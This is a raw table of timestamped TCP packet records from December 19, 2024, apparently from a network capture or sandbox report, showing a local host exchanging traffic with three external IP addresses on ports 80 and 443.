Dec 19, 2024 03:09:25.520385027 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.520486116 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.520500898 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.520539999 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.521373987 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.521481037 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.521541119 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.522392988 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.522474051 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.522502899 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.522556067 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.523401976 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.523530006 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.523593903 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.524369001 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.524487972 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.524492979 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.524544001 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.525399923 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.525521994 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.525582075 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.526407003 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.526519060 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.526519060 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.526566982 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.527445078 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.527519941 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.527544022 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.527591944 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.528429985 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.528489113 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.528537035 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.528587103 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.529449940 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.529516935 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.529558897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.529836893 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.530452013 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.530566931 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.530623913 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.530623913 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.531482935 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.531538963 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.531574965 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.531802893 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.532483101 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.532618999 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.532671928 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.533494949 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.533565044 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.533606052 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.533814907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.534476995 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.534534931 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:27.451560020 CET	49878	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:27.451607943 CET	443	49878	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:27.451708078 CET	49878	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:27.452999115 CET	49878	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:27.453011036 CET	443	49878	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:27.768081903 CET	49860	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:27.768667936 CET	49880	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:27.890691996 CET	80	49860	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:27.890806913 CET	49860	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:27.890913963 CET	80	49880	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:27.890999079 CET	49880	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:27.920363903 CET	49880	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:28.039916039 CET	80	49880	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:28.677119017 CET	443	49878	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:28.677220106 CET	49878	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:28.681679010 CET	49878	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:28.681691885 CET	443	49878	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:28.682029009 CET	443	49878	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:28.735905886 CET	49878	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:28.740403891 CET	49878	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:28.740423918 CET	49878	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:28.740667105 CET	443	49878	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:29.226906061 CET	80	49880	185.215.113.43	192.168.2.5
Dec 19, 2024 03:09:29.227051020 CET	49880	80	192.168.2.5	185.215.113.43
Dec 19, 2024 03:09:29.228445053 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:29.229013920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:29.348351002 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:29.348421097 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:29.348543882 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:29.348640919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:29.348826885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:29.468326092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:29.809484005 CET	443	49878	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:29.809793949 CET	443	49878	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:29.809873104 CET	49878	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:29.811419010 CET	49878	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:29.811463118 CET	443	49878	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:29.811491013 CET	49878	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:29.811522007 CET	443	49878	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:29.819905043 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:29.819994926 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:29.820099115 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:29.820353985 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:29.820393085 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:30.678632021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.678740978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.678766012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.678836107 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.678927898 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.678968906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.679195881 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.679209948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.679239988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.679272890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.679519892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.679536104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.679552078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.679569960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.679574966 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.679574966 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.679610968 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.679610968 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.799237967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.799323082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.799338102 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.799381971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.803428888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.803497076 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.803565025 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.803610086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.870556116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.870619059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.870652914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.870687008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.874754906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.874818087 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.874818087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.874854088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.883112907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.883199930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.886111975 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.886169910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.886271000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.886337042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.894526005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.894609928 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.894615889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.894656897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.902915955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.902956009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.902973890 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.903000116 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.911282063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.911331892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.911393881 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.911433935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.919651031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.919708014 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.919711113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.919774055 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.927980900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.928044081 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.928093910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.928136110 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.936362028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.936430931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.936461926 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.936501026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.944740057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.944798946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.944839001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.944880009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.952016115 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.952064991 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.952117920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.952157974 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:30.959269047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:30.959348917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.054512978 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.054600954 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:31.055962086 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:31.055991888 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.056551933 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.057862043 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:31.057898998 CET	49887	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:31.057965994 CET	443	49887	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:31.062628984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.062689066 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.062762976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.062865973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.064867973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.064918995 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.065026045 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.065076113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.069394112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.069468021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.069490910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.069536924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.073898077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.073946953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.073992968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.074043989 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.078407049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.078464031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.078509092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.078557014 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.082906008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.082964897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.083018064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.083062887 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.087420940 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.087470055 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.087516069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.087560892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.091903925 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.091958046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.092015028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.092063904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.097249985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.097312927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.097373009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.097428083 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.101536989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.101588964 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.101634026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.101681948 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.105462074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.105515003 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.105565071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.105614901 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.110065937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.110121965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.110162973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.110217094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.114487886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.114541054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.114645958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.114696026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.118953943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.119008064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.119056940 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.119106054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.123488903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.123542070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.123595953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.123648882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.128184080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.128237963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.128453016 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.128500938 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.132461071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.132514954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.132584095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.132649899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.137068033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.137105942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.137125015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.137170076 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.141484022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.141537905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.141619921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.141668081 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.146215916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.146270990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.146342039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.146390915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.150484085 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.150528908 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.150624037 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.150659084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.155010939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.155056000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.155111074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.155148029 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.159496069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.159539938 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.254667997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.254724026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.254744053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.254781008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.256376982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.256427050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.257024050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.257067919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.257107973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.257150888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.260626078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.260679007 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.260727882 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.260929108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.264240026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.264291048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.264447927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.264489889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.267868996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.267926931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.267935991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.267975092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.271244049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.271301985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.271368980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.271411896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.274630070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.274678946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.274763107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.274801016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.277879000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.277955055 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.277988911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.278031111 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.281147003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.281192064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.281282902 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.281323910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.284512043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.284558058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.284651041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.284692049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.287379980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.287425041 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.287504911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.287549973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.290473938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.290517092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.290560007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.290601015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.293591022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.293637991 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.293682098 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.293726921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.296988964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.297004938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.297038078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.297064066 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.299796104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.299851894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.299896002 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.299941063 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.302998066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.303056002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.303107977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.303163052 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.306052923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.306162119 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:31.306195021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:31.306220055 CET	49885	80	192.168.2.5	31.41.244.11
